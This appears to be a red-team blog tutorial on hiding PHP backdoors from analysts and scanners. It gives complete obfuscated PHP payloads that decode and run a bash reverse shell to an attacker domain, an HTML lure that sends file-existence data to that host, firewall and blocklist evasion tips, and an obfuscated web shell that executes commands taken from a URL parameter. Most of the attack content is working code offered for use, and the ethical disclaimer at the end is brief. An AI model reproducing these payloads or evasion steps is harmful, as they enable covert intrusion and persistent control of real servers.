The Art of Camouflage: Exploring Advanced PHP Backdoor Obfuscation Techniques

Exploring the depths of a newly developed obfuscation technique for PHP backdoors and unravel its inner workings.

What is code obfuscation and why do we use it?

Obfuscation, in computing, consists of rendering an executable program or source code unreadable and hard to understand by a human while maintaining its functioning. The objective is to bypass static code analyzers as much as possible as well as a waste of time for the analysts who will study the code. Obfuscation of character strings is one of the techniques most used by malware creators. This method consists of concealing, or rendering incomprehensible, character strings using an algorithm that will decode the data when the code executes

Pre-Forging our payload

When doing any red team engagement we should focus and try to get as much information about the target during the recon phase like everything about the infrastructure or the devices that we`re targeting

HTML Recon

HTML is known to be safe Infront of many people including SOC teams or blue teams as it`s not executable or malicious files if they were sent via E-mail. But we should make use of any technology to get our target result.

HTML recon is used to know if some binary file or some package exists on the system or not!

So if we created .html file and sent it to the target with this code:

<link rel="stylesheet" href="./index.php" onload="alert('Success')" onerror="alert('Fail')">

So this will tell us if the index.php exists or not by making an alert if it exists this will make an alert Success. And if it does not exist it will alert Fail.

If we wanted to get a reverse shell through Python or any other way we must know where is the package executable in the operating system. So that we can make use of HTML recon and make a suitable payload.

For example:

If we are making a reverse shell via Python and the target system is Windows these are the paths where we should look at:

C:\Users\user-name\AppData\Local\Programs\Python\Python-version

Or by using CMD to locate Python package in our machine

$ where python

example of making use of HTML recon

<link rel="stylesheet" href="index.php" onload="document.location='http:// secure-site.com/index.php?data='+btoa('index.php')" onerror="alert('fail')">

So assume index.php is the python path on Windows here in this example we used J.S inside HTML and tell it if this file “index.php” exists in the system send us a request to our host “secure-site.com” at index.php using data parameter which contains the file exist encoded with base64.

If we decoded this value with base64 we shall get the file name or the package name installed in the path we specified.

So this will be our first step in order to approach our target, is send this html to many employees at the company to get all available information about packages installed so that we can procced with our payload.

Planning for our malware

In order to make our backdoor/malware less detectable and make it harder to be caught by blue teams analysts and anyone reviewing our code we going to obfuscate our php code with some simple and tricky methods like:

  1. Variables names also should consist of special characters like '_' or $_and numbers

  2. Variable the variables:

Sometimes it is convenient to be able to have variable variable names. That is a variable name that can be set and used dynamically. A normal variable is set with a statement such as:

<?php $a = 'hello'; ?>

A variable variable takes the value of a variable and treats that as the name of a variable. In the above example, hello, can be used as the name of a variable by using two dollar signs. i.e.

<?php
$$a = 'world';
?>

At this point two variables have been defined and stored in the PHP symbol tree: $a with contents "hello" and $hello with contents "world". Therefore, this statement:

<?php
echo "$a ${$a}";
?>

produces the exact same output as:

<?php
echo "$a $hello";
?>

they both produce: hello world.

  • Another Example of Variable the variables:

<?php
  //You can even add more Dollar Signs
  $Bar = "a";
  $Foo = "Bar";
  $World = "Foo";
  $Hello = "World";
  $a = "Hello";
  $a; //Returns Hello
  $$a; //Returns World
  $$$a; //Returns Foo
  $$$$a; //Returns Bar
  $$$$$a; //Returns a
  $$$$$$a; //Returns Hello
  $$$$$$$a; //Returns World
  //... and so on ...//
?>
  1. Variables sequences should be varied, so, debugging or de-obfuscating the code now should be harder

  2. With step 2 we can create a decoder and encoder functions from variables. The decoder function also should be obfuscated by truncating it following the previous rules, then using it as a variable to decode the encoded string. Example of this:

<?php
//here we used system() with base64_decode. I encoded ls command to => bHM, then used the decoding function to execute it
$m = "c";
$u = "d";
$t = "4_";
$a = "e6";
$d = "s";
$n = "ba";
$universe = array(
    array("od", "e")
);
// ==================
//base64_decode()
$ord = "m";$dor = "u";$que = "t";$unique = "a";$nor = "d";$lamo = "n";
$final = $$lamo.$$nor;  // bas
$final1 = $$unique.$$que.$$dor; // e6 4_ d
$final2 = "e".$$ord.$universe[0][0];  // e c od
$final3 .= $universe[0][1]; // e
$to = $final.$final1.$final2.$final3; // base64_decode
$x = "s";
$r = "y";
$c = "s";
$s = "t";
$h = "e";
$p = "m";
$zx = $x.$r.$c.$s.$h.$p;
$zx($to("bHM")); // this will execute 'ls' command
$zx($to("YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTI3LjAuMC4xLzgwMDEgPCYxJw"));  
// this will execute => bash -c 'exec bash -i &>/dev/tcp/127.0.0.1/8001 <&1' to get a reverse shell
?>

So here in this example, we used the variable $zx instead of base64_decode() function by using nested variables.

  1. If we used base64 payload or any base64 string we should consider removing the padding at the end of the string to not make it easy to understand that this is a base64 payload

E.X:

bHM== This is base64 encoded of “ls” command

the padding here is the == at the end of the command, so we need to remove this and make the command like this bHM

  1. After crafting the base64 payload we can split it and use the nested variables trick and concatenate them to make it harder to reverse. if anyone tried to reverse one part only they will get nothing meaningful

💡Things to note in order to make hidden reverse shell or backdoor

Yes, we will obfuscate our code, but even the system command needs to be executed in a secure manner. As a result, we will obfuscate the system command and create a standard payload while adhering to certain security requirements to prevent detection:

  • We must connect to host via an already opened port or at least any whitelist port like ( 80,443 ) so that the firewall doesn't block our connection

  • Turning off any verbosity since we want the compromised machine to remain silent and clean at the same time.

  • Always try to not use your own IP to receive the reverse shell, instead use a domain name as the host to make it harder for the blue team to detect you. Also, this can help you to change the domain ip any time you want, so if they blocked your ip you can always change it

  • If they blocked your domain for example secure-domain.com. you can always use another top-level domain as they will only block your domain and any subdomain for it. For example:

They will make a policy to forbid any connection from secure-domain.com or *.secure-domain.com

But they will not make a policy to deny all secure-domain.*

✅ So, I've added secure-domain.com to my host list which refers to my localhost

At this time, we obfuscated the system() function, decoding and encoding functions to get a reverse shell to our machine via netcat

$zx($to("YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTI3LjAuMC4xLzgwMDEgPCYxJw"));  

// this will execute => bash -c 'exec bash -i &>/dev/tcp/127.0.0.1/8001 <&1' to get a shell

So, what if the target does not have netcat installed in his system?

  • We can always use HTML Recon that we mentioned to know what binary packages installed in the targeted system.

Forging Our Payload

In this example of obfuscating PHP malware, I used:

  • Nested Variables

  • Nested Arrays

  • hex2bin()

  • netcat reverse shell

hex2bin function:

Convert hexadecimal values to ASCII characters:

I separated the value hex2bin() into other variables, then concatenated all of them into one variable which is $_

$ers = "x";
$uio = "bnm";
$res = "he";
$fgh = "ers";
$tys = "cvb";
$cvb = "2b";
$bnm = "in";
$asd = "res";
$_ = $$asd.$$fgh.$$tys.$$uio; // <== hex2bin()
  • Note: when making variables or nested variables for a function or value. We must shuffle the values of the variable so that it will be harder to read or understand from the first look.

So do not make your variables in this form:

$res = "he";
$ers = "x";
$cvb = "2b";
$bnm = "in";
$asd = "res";
$fgh = "ers";
$tys = "cvb";
$uio = "bnm";

Because now it`s very easy to detect what we are trying to make, even if we make nested variables.

System function

For the system function I created nested arrays with Chinese language variables to make the variables harder to read, then I make the system word to hex to be like this:

73797374656d

Then I used the hex2bin() function to reverse it back:

$测试
= array(
    array("73", 0, 10),
    array("79", 15, 20),
    array("73", 44, 33),
    array("74", 77, 88),
    array("65", 33, 0),
    array("6d", 55, 66)
);
$环形 = "测试";

So if we just echo this using the $_ which is hex2bin() it will return “system

echo $_($$环形[0][0].$$环形[1][0].$$环形[2][0].$$环形[3][0].$$环形[4][0].$$环形[5][0]);

So let`s combine these parts into one other var:

$最后 = $_($$环形[0][0].$$环形[1][0].$$环形[2][0].$$环形[3][0].$$环形[4][0].$$环形[5][0]);

Reverse shell

In this example, I assumed that the target is using Netcat on the system and we want to get a reverse shell.

So our reverse shell will be:

bash -c 'exec bash -i &>/dev/tcp/secure-site.com/8001 <&1'

let`s encode that to hex it will be:

62617368202d632027657865632062617368202d6920263e2f6465762f7463702f7365637572652d736974652e636f6d2f38303031203c263127

Using the same $_ (hex2bin) we will reverse this hex to its original value, but before that, we must cut this long hex string into many variables to not look suspicious.

So I divided this hex into 4 pieces with Bangla language variables names and combined them into one variable:

$দুই = "20263e2f6465762f7463702f736563";
$চার = "38303031203c263127";
$এক = "62617368202d632027657865632062617368202d69";
$তিন = "7572652d736974652e636f6d2f";
$সব = $এক.$দুই.$তিন.$চার;
$最后($_($সব));

The final look of this payload:

<?php
// hex2bin()
$ers = "x";
$uio = "bnm";
$res = "he";
$fgh = "ers";
$tys = "cvb";
$cvb = "2b";
$bnm = "in";
$asd = "res";
$_ = $$asd.$$fgh.$$tys.$$uio; // hex2bin
$测试 = array(
    array("73", 0, 10),
    array("79", 15, 20),
    array("73", 44, 33),
    array("74", 77, 88),
    array("65", 33, 0),
    array("6d", 55, 66)
);
$环形 = "测试";
$最后 =  $_($$环形[0][0].$$环形[1][0].$$环形[2][0].$$环形[3][0].$$环形[4][0].$$环形[5][0]);
$দুই = "20263e2f6465762f7463702f736563";
$চার = "38303031203c263127";
$এক = "62617368202d632027657865632062617368202d69";
$তিন = "7572652d736974652e636f6d2f";
$সব = $এক.$দুই.$তিন.$চার;
$最后($_($সব));
?>

🔥 Getting the reverse shell:

Additional Notes about PHP Obfuscation:

Web Shell

A web shell is a malicious script used by an attacker with the intent to escalate and maintain persistent access to an already compromised web application. A web shell itself cannot attack or exploit a remote vulnerability, so it is always the second step of an attack (this stage is also referred to as post-exploitation).

We can use obfuscation techniques to make web shells even more hidden or harder to find.

Keeping Web Shells Under Cover

  1. Using Backticks (`) To Execute Shell Commands

A well-documented but little-used method for executing shell commands in PHP is to simply encapsulate the command you wish to execute in backticks “`” and then include encapsulated command as a line of code

PHP supports one execution operator: backticks (``). Note that these are not single quotes! PHP will attempt to execute the contents of the backticks as a shell command; the output will be returned (i.e., it won't simply be dumped to output; it can be assigned to a variable).

The use of the backtick operator is identical to shell_exec().

Example:

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

Obfuscated PHP web shell using Backticks

<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>

// This is obfuscation of <?=`$_GET[0]`?>
// Example
https://target.com/path/to/shell.php?0=ls

Conclusion

delving into the realm of advanced PHP backdoor obfuscation techniques opens up a world of possibilities for both ethical and malicious actors. By leveraging sophisticated obfuscation methods, developers can enhance the security of their applications, protecting against potential threats. However, it is crucial to tread cautiously, as these techniques can also be exploited by attackers to conceal their malicious activities.

Remember, knowledge is power. By staying vigilant and keeping up with the latest advancements in PHP backdoor obfuscation, we empower ourselves to effectively combat potential threats and protect the integrity of our applications and sensitive data.

Thanks and shoutout to @CyberGuy (Momen Eldawakhly) who inspired me with these techniques and a lot more.

Follow on Social Media

Last updated